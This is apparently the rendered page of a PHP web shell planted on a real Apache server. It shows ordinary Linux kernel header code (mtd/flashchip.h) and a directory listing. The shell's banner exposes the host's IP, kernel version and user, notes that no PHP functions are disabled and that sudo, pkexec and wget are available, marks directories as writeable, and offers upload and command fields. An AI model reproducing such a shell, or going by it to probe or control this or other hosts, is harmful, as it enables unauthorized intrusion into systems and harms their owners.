p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/mtd/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/linux/mtd/flashchip.h
/*
 * Copyright © 2000      Red Hat UK Limited
 * Copyright © 2000-2010 David Woodhouse <dwmw2@infradead.org>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */

#ifndef __MTD_FLASHCHIP_H__
#define __MTD_FLASHCHIP_H__

/* For spinlocks. sched.h includes spinlock.h from whichever directory it
 * happens to be in - so we don't have to care whether we're on 2.2, which
 * has asm/spinlock.h, or 2.4, which has linux/spinlock.h
 */
#include <linux/sched.h>
#include <linux/mutex.h>

typedef enum {
	FL_READY,
	FL_STATUS,
	FL_CFI_QUERY,
	FL_JEDEC_QUERY,
	FL_ERASING,
	FL_ERASE_SUSPENDING,
	FL_ERASE_SUSPENDED,
	FL_WRITING,
	FL_WRITING_TO_BUFFER,
	FL_OTP_WRITE,
	FL_WRITE_SUSPENDING,
	FL_WRITE_SUSPENDED,
	FL_PM_SUSPENDED,
	FL_SYNCING,
	FL_UNLOADING,
	FL_LOCKING,
	FL_UNLOCKING,
	FL_POINT,
	FL_XIP_WHILE_ERASING,
	FL_XIP_WHILE_WRITING,
	FL_SHUTDOWN,
	/* These 2 come from nand_state_t, which has been unified here */
	FL_READING,
	FL_CACHEDPRG,
	/* These 4 come from onenand_state_t, which has been unified here */
	FL_RESETING,
	FL_OTPING,
	FL_PREPARING_ERASE,
	FL_VERIFYING_ERASE,

	FL_UNKNOWN
} flstate_t;



/* NOTE: confusingly, this can be used to refer to more than one chip at a time,
   if they're interleaved.  This can even refer to individual partitions on
   the same physical chip when present. */

struct flchip {
	unsigned long start; /* Offset within the map */
	//	unsigned long len;
	/* We omit len for now, because when we group them together
	   we insist that they're all of the same size, and the chip size
	   is held in the next level up. If we get more versatile later,
	   it'll make it a damn sight harder to find which chip we want from
	   a given offset, and we'll want to add the per-chip length field
	   back in.
	*/
	int ref_point_counter;
	flstate_t state;
	flstate_t oldstate;

	unsigned int write_suspended:1;
	unsigned int erase_suspended:1;
	unsigned long in_progress_block_addr;

	struct mutex mutex;
	wait_queue_head_t wq; /* Wait on here when we're waiting for the chip
			     to be ready */
	int word_write_time;
	int buffer_write_time;
	int erase_time;

	int word_write_time_max;
	int buffer_write_time_max;
	int erase_time_max;

	void *priv;
};

/* This is used to handle contention on write/erase operations
   between partitions of the same physical chip. */
struct flchip_shared {
	struct mutex lock;
	struct flchip *writing;
	struct flchip *erasing;
};


#endif /* __MTD_FLASHCHIP_H__ */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
bbm.h
6.107 KB
November 06 2023 09:15:52
0 / 0
0644
blktrans.h
2.81 KB
November 06 2023 09:15:52
0 / 0
0644
cfi.h
14.561 KB
November 06 2023 09:15:52
0 / 0
0644
cfi_endian.h
2.135 KB
November 06 2023 09:15:52
0 / 0
0644
concat.h
1.138 KB
November 06 2023 09:15:52
0 / 0
0644
doc2000.h
6.032 KB
November 06 2023 09:15:52
0 / 0
0644
flashchip.h
3.037 KB
November 06 2023 09:15:52
0 / 0
0644
fsmc.h
4.476 KB
November 06 2023 09:15:52
0 / 0
0644
ftl.h
2.491 KB
November 06 2023 09:15:52
0 / 0
0644
gen_probe.h
1.257 KB
November 06 2023 09:15:52
0 / 0
0644
inftl.h
1.555 KB
November 06 2023 09:15:52
0 / 0
0644
latch-addr-flash.h
0.699 KB
November 06 2023 09:15:52
0 / 0
0644
lpc32xx_mlc.h
0.519 KB
November 06 2023 09:15:52
0 / 0
0644
lpc32xx_slc.h
0.519 KB
November 06 2023 09:15:52
0 / 0
0644
map.h
12.965 KB
November 06 2023 09:15:52
0 / 0
0644
mtd.h
13.062 KB
November 06 2023 09:15:52
0 / 0
0644
mtdram.h
0.207 KB
November 06 2023 09:15:52
0 / 0
0644
nand-gpio.h
0.354 KB
November 06 2023 09:15:52
0 / 0
0644
nand.h
24.065 KB
November 06 2023 09:15:52
0 / 0
0644
nand_bch.h
1.729 KB
November 06 2023 09:15:52
0 / 0
0644
nand_ecc.h
1.143 KB
November 06 2023 09:15:52
0 / 0
0644
ndfc.h
2.204 KB
November 06 2023 09:15:52
0 / 0
0644
nftl.h
2.381 KB
November 06 2023 09:15:52
0 / 0
0644
onenand.h
7.966 KB
November 06 2023 09:15:52
0 / 0
0644
onenand_regs.h
7.148 KB
November 06 2023 09:15:52
0 / 0
0644
partitions.h
2.7 KB
November 06 2023 09:15:52
0 / 0
0644
pfow.h
5.606 KB
November 06 2023 09:15:52
0 / 0
0644
physmap.h
1 KB
November 06 2023 09:15:52
0 / 0
0644
pismo.h
0.43 KB
November 06 2023 09:15:52
0 / 0
0644
plat-ram.h
0.798 KB
November 06 2023 09:15:52
0 / 0
0644
qinfo.h
2.433 KB
November 06 2023 09:15:52
0 / 0
0644
sh_flctl.h
6.388 KB
November 06 2023 09:15:52
0 / 0
0644
sharpsl.h
0.528 KB
November 06 2023 09:15:52
0 / 0
0644
spear_smi.h
1.665 KB
November 06 2023 09:15:52
0 / 0
0644
super.h
0.815 KB
November 06 2023 09:15:52
0 / 0
0644
ubi.h
8.771 KB
November 06 2023 09:15:52
0 / 0
0644
xip.h
2.608 KB
November 06 2023 09:15:52
0 / 0
0644